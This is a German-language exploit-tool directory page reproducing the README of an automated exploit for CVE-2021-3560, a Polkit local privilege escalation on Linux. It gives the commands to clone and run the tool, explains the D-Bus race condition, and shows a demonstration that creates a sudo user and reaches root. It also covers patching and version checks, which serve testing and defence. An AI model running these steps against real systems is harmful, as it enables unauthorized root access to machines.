Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2021-3560_Polkit — Exploit for CVE-2021-3560 Polkit Local Privilege Escalation Vulnerability | Kitploit
Tools/GitHubGitHub/seimupve/cve-2021-3560_polkit
Privilege EscalationVulnerability AnalysisExploitationPenetration TestingLearning & EducationBinary ExploitationLabs & Practice
GitHubseimupve/cve-2021-3560_polkit

CVE-2021-3560_Polkit

Exploit for CVE-2021-3560 Polkit Local Privilege Escalation Vulnerability

Repository anzeigen
vor 9 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2021-3560 Polkit Lokale Privilegienausweitung

root@kitploit:~
        .--.  .-"     "-.  .--.
      / .. \/  .-. .-.  \/ .. \
     | |  '|  /   Y   \  |'  | |
     | \   \  \ 0 | 0 /  /   / |
      \ '- ,\.-"`` ``"-./, -' /
       `'-' /_   ^ ^   _\ '-'`
        .--'|  \._   _./  |'--.
      /`    \   \ `~` /   /    `\
     /       '._ '---' _.'       \
    /           '~---~'           \
   /                               \

Ein automatisierter Exploit für die CVE-2021-3560-Schwachstelle, die PolicyKit (Polkit) auf Linux-Systemen betrifft.

⚠️ WARNUNG: Dieses Tool ist ausschließlich für Schulungs- und Cybersicherheitsübungen in einer kontrollierten Laborumgebung bestimmt. Die unbefugte Nutzung dieses Exploits auf Systemen, die Ihnen nicht gehören, ist illegal.

📋 Inhaltsverzeichnis

  • Über die Schwachstelle
  • Verwundbare Systeme
  • Funktionen
  • Voraussetzungen
  • Installation
  • Verwendung
  • Funktionsweise
  • Demonstration
  • Abhilfe
  • Referenzen

🔍 Über die Schwachstelle

CVE-2021-3560 ist eine lokale Race-Condition-Schwachstelle in PolicyKit (polkit), die es einem unprivilegierten Benutzer ermöglicht, auf verwundbaren Linux-Systemen Root-Rechte zu erlangen.

Technische Details

  • CVE-ID: CVE-2021-3560
  • Schweregrad: Hoch (CVSS 7.8)
  • Typ: Race Condition / Time-of-Check Time-of-Use (TOCTOU)
  • Auswirkung: Lokale Privilegienausweitung (LPE)
  • Offenlegungsdatum: Juni 2021

Betroffene Versionen

Die Schwachstelle betrifft zwei Zweige von Polkit mit unterschiedlicher Versionsnummerierung:

Upstream (offizielle Versionen)

  • Verwundbar: 0.113 bis 0.118
  • Fehler eingeführt: Commit bfa5036 (Version 0.113)
  • Behoben: Version 0.119+

Debian/Ubuntu Fork

  • Verwundbar: 0.105-26 und höher (bis 0.118)
  • Fehler eingeführt: Commit f81d021 (Version 0.105-26)
  • NICHT verwundbar: Debian 10 "buster" (0.105-25)

💻 Verwundbare Systeme

📝 Hinweis: Systeme mit installierten Sicherheitspatches (z. B. ubuntu1.1, deb10u1) sind nicht verwundbar.

✨ Funktionen

  • ✅ Automatische Erkennung der Verwundbarkeit auf mehreren Distributionen
  • ✅ Multi-OS-Unterstützung: Debian, Ubuntu, RHEL, CentOS, Fedora, Arch Linux
  • ✅ Abhängigkeitsprüfung für erforderliche Werkzeuge
  • ✅ Prüfmodus: Überprüfung der Verwundbarkeit ohne Ausnutzung
  • ✅ Anpassbares Timing: Automatische Messung des optimalen Race-Condition-Zeitpunkts
  • ✅ Fortschrittsanzeige: Echtzeit-Fortschrittsanzeige
  • ✅ Farbige Ausgabe: Klare und leicht lesbare Oberfläche
  • ✅ Robuste Fehlerbehandlung: Explizite Meldungen bei Fehlschlag

📦 Voraussetzungen

Python-Version

  • Python 3.6+ (kompatibel mit älteren Systemen wie CentOS 8)

Systemabhängigkeiten

Der Exploit benötigt die folgenden Werkzeuge (automatisch überprüft):

root@kitploit:~
- dbus-send      # Zur Kommunikation mit D-Bus
- pkexec         # Teil von PolicyKit
- id             # Zur Überprüfung der Benutzererstellung
- openssl        # Zum Generieren des Passwort-Hashes

Erforderlicher Dienst

root@kitploit:~
- accountsservice  # Muss installiert und aktiv sein

🚀 Installation

root@kitploit:~
# Repository klonen (oder die Datei herunterladen)
git clone https://github.com/[your-repo]/CVE-2021-3560_Polkit.git
cd CVE-2021-3560_Polkit

# Skript ausführbar machen
chmod +x CVE-2021-3560_Polkit.py

📖 Verwendung

Modus 1: Verwundbarkeitsprüfung (--check)

Überprüfen, ob das System verwundbar ist, ohne den Exploit auszuführen:

root@kitploit:~
python3 CVE-2021-3560_Polkit.py --check

Beispielausgabe:

root@kitploit:~
[*] ============================================================
[*] CVE-2021-3560 Polkit Vulnerability Checker
[*] ============================================================
[*] Detecting operating system...
[+] OS: Ubuntu 20.04
[*] Checking required dependencies...
[+] Found: dbus-send
[+] Found: pkexec
[+] Found: id
[+] Found: openssl
[*] Detecting Polkit version...
[+] Polkit version: 0.105-26ubuntu1
[+] ============================================================
[+] SYSTEM APPEARS VULNERABLE!
[+] ============================================================
[*] Debian/Ubuntu fork detected (vulnerable since 0.105-26)

Modus 2: Ausnutzung

Erstellen eines privilegierten Benutzers:

root@kitploit:~
python3 CVE-2021-3560_Polkit.py -u <benutzername> -p <passwort>

Beispiel:

root@kitploit:~
python3 CVE-2021-3560_Polkit.py -u hacker -p Password123!

Vollständige Optionen

root@kitploit:~
usage: CVE-2021-3560_Polkit.py [-h] [-u USERNAME] [-p PASSWORD] [-c]

options:
  -h, --help            Hilfe anzeigen
  -u, --username        Zu erstellender Benutzername
  -p, --password        Passwort für den neuen Benutzer
  -c, --check           Verwundbarkeit prüfen, ohne auszunutzen

⚙️ Funktionsweise

Der Exploit nutzt eine Race Condition in PolicyKit während der Verarbeitung von D-Bus-Anfragen aus.

Prinzip der Schwachstelle

  1. D-Bus-Anfrage: Der Benutzer sendet eine D-Bus-Anfrage zum Erstellen eines Benutzers
  2. Autorisierungsprüfung: Polkit prüft, ob der Benutzer die erforderlichen Berechtigungen hat
  3. Race Condition: Wird die D-Bus-Verbindung während der Prüfung geschlossen, behandelt Polkit die UID als 0 (root)
  4. Benutzererstellung: Der Benutzer wird mit erweiterten Privilegien erstellt

Exploit-Schritte

root@kitploit:~
┌─────────────────────────────────────────────────────────┐
│ 1. Optimal timing measurement                          │
│    └─> Test execution to calibrate timing              │
├─────────────────────────────────────────────────────────┤
│ 2. Exploitation: User creation                         │
│    └─> Send D-Bus CreateUser request                   │
│    └─> Kill process at precise moment (race condition) │
│    └─> Verify if user created                          │
├─────────────────────────────────────────────────────────┤
│ 3. Password hash generation                            │
│    └─> Using openssl passwd -6                         │
├─────────────────────────────────────────────────────────┤
│ 4. Exploitation: Password setting                      │
│    └─> Send D-Bus SetPassword request                  │
│    └─> Kill process at precise moment (race condition) │
│    └─> Test login with password                        │
├─────────────────────────────────────────────────────────┤
│ 5. Privilege escalation                                │
│    └─> Login with created account                      │
│    └─> Use sudo if member of sudo group                │
└─────────────────────────────────────────────────────────┘

🎬 Demonstration

Typisches Ausnutzungsszenario

root@kitploit:~
# 1. Verwundbarkeit prüfen
user@vulnerable:~$ python3 CVE-2021-3560_Polkit.py --check
[+] SYSTEM APPEARS VULNERABLE!

# 2. Exploit starten
user@vulnerable:~$ python3 CVE-2021-3560_Polkit.py -u pwned -p Pwn3d123!

╔═══════════════════════════════════════════════════════════╗
║       CVE-2021-3560 Polkit Privilege Escalation          ║
╚═══════════════════════════════════════════════════════════╝

[*] Creating user 'pwned' using race condition timing attack...
[*] Measuring command execution time...
[*] Command takes ~0.045s, using 0.023s timing
[*] Attempting race condition exploit, please wait...
[+] User 'pwned' created successfully! UID: 1001
[*] User is member of groups: 1001(pwned) 27(sudo)
[*] Generating password hash...
[+] Password hash generated
[*] Setting password for user 'pwned'...
[+] Password set successfully!

╔═══════════════════════════════════════════════════════════╗
║                  EXPLOIT SUCCESSFUL!                      ║
╚═══════════════════════════════════════════════════════════╝

[+] User 'pwned' created with password 'Pwn3d123!'
[*] User should be member of 'sudo' group for privilege escalation
[*] Switching to user 'pwned'...

# 3. Root erhalten
pwned@vulnerable:~$ sudo su
root@vulnerable:~# id
uid=0(root) gid=0(root) groups=0(root)

🛡️ Abhilfe

Für Systemadministratoren

  1. PolicyKit aktualisieren:

    root@kitploit:~
    # Debian/Ubuntu
    sudo apt update && sudo apt upgrade policykit-1
    
    # RHEL/CentOS/Fedora
    sudo yum update polkit
    # oder
    sudo dnf update polkit
    
  2. Version prüfen:

    root@kitploit:~
    pkexec --version
    # Muss >= 0.119 (upstream) oder gepatcht sein
    
  3. Sicherheitspatches überprüfen:

    root@kitploit:~
    # Debian/Ubuntu
    apt-cache policy policykit-1
    
    # RHEL/CentOS/Fedora
    rpm -q --changelog polkit | grep CVE-2021-3560
    

Mindestsichere Version

  • Upstream: ≥ 0.119
  • Ubuntu 20.04: 0.105-26ubuntu1.1 oder höher
  • Debian 11: 0.105-31+deb11u1 oder höher
  • RHEL 8: polkit-0.115-11.el8_4.1 oder höher

📚 Referenzen

Offizielle Artikel und Dokumentation

  • GitHub Security Lab: Privilege escalation with Polkit: How to get root on Linux with a seven-year-old bug
  • Red Hat CVE: CVE-2021-3560
  • MITRE CVE: CVE-2021-3560
  • NVD NIST: CVE-2021-3560 Detail

TryHackMe Ressourcen

  • TryHackMe Raum: Polkit CVE-2021-3560 (Practice)

Patches und Korrekturen

  • GitLab Polkit: Fix commit

📝 Wichtige Hinweise

Erfolgsrate

Der Exploit basiert auf einer Race Condition, was bedeutet:

  • ✅ Funktioniert in der Regel innerhalb von 1–20 Versuchen
  • ⏱️ Das Timing ist entscheidend (automatisch kalibriert)
  • 🔄 Maximal 100 Versuche pro Schritt (konfigurierbar)
  • 📡 Bessere Erfolgsrate über SSH als über die lokale Konsole

Einschränkungen

  • ❌ Funktioniert nicht auf gepatchten Systemen
  • ❌ Erfordert, dass accountsservice installiert und aktiv ist
  • ❌ Der Benutzer muss Zugriff auf das System-D-Bus haben
  • ❌ Manche Umgebungen (Container, bestimmte VMs) können den Exploit blockieren

Gepatchte Versionen (NICHT verwundbar)

Die folgenden Versionen enthalten Sicherheitspatches und sind NICHT verwundbar:

  • 0.105-26ubuntu1.1, 0.105-26ubuntu1.2, 0.105-26ubuntu1.3, usw. (Ubuntu gepatcht)
  • 0.105-26ubuntu2.1, 0.105-26ubuntu2.2, usw. (Ubuntu gepatcht)
  • 0.105-31+deb11u1 (Debian 11 gepatcht)
  • polkit-0.115-11.el8_4.1 (RHEL 8 gepatcht)

Hinweis: Wenn Ihr System als verwundbar angezeigt wird, der Exploit aber mit PermissionDenied-Fehlern fehlschlägt, ist die Version wahrscheinlich gepatcht. Der Exploit erkennt diese gepatchten Versionen nun korrekt.

Fehlersuche

Wenn der Exploit fehlschlägt:

  1. Python-Version prüfen (bei TypeError: __init__() got an unexpected keyword argument 'capture_output'):

    root@kitploit:~
    python3 --version
    # Sollte 3.6 oder höher sein
    # Das Skript ist kompatibel mit Python 3.6+
    
  2. Prüfen, ob die Version gepatcht ist:

    root@kitploit:~
    pkexec --version
    # Wenn Sie ubuntu1.X sehen (mit X > 0), ist es gepatcht
    
  3. accountsservice prüfen:

    root@kitploit:~
    systemctl status accounts-daemon
    
  4. D-Bus prüfen:

    root@kitploit:~
    dbus-send --system --dest=org.freedesktop.DBus --type=method_call --print-reply /org/freedesktop/DBus org.freedesktop.DBus.ListNames
    
  5. Von SSH aus starten statt lokaler Konsole

  6. Timing anpassen, indem optimal_timing im Code geändert wird

👤 Autor

Seimu

📄 Lizenz

Dieses Projekt ist ausschließlich für Bildungszwecke bestimmt. Die Verwendung dieses Codes für unbefugte Aktivitäten ist strengstens untersagt und kann rechtliche Konsequenzen nach sich ziehen.


⚠️ Haftungsausschluss: Der Autor übernimmt keine Verantwortung für die missbräuchliche Verwendung dieses Tools. Verwenden Sie es nur in autorisierten Testumgebungen.

Tool herunterladen
DistributionPolkit-VersionVerwundbar?
Ubuntu 20.040.105-26ubuntu1✅ Ja
Ubuntu 18.040.105-20❌ Nein
Debian testing "bullseye"0.105-31+✅ Ja
Debian 10 "buster"0.105-25❌ Nein
RHEL 80.115-11+✅ Ja
RHEL 7< 0.113❌ Nein
Fedora 21+0.113+✅ Ja
Fedora 20 und älter< 0.113❌ Nein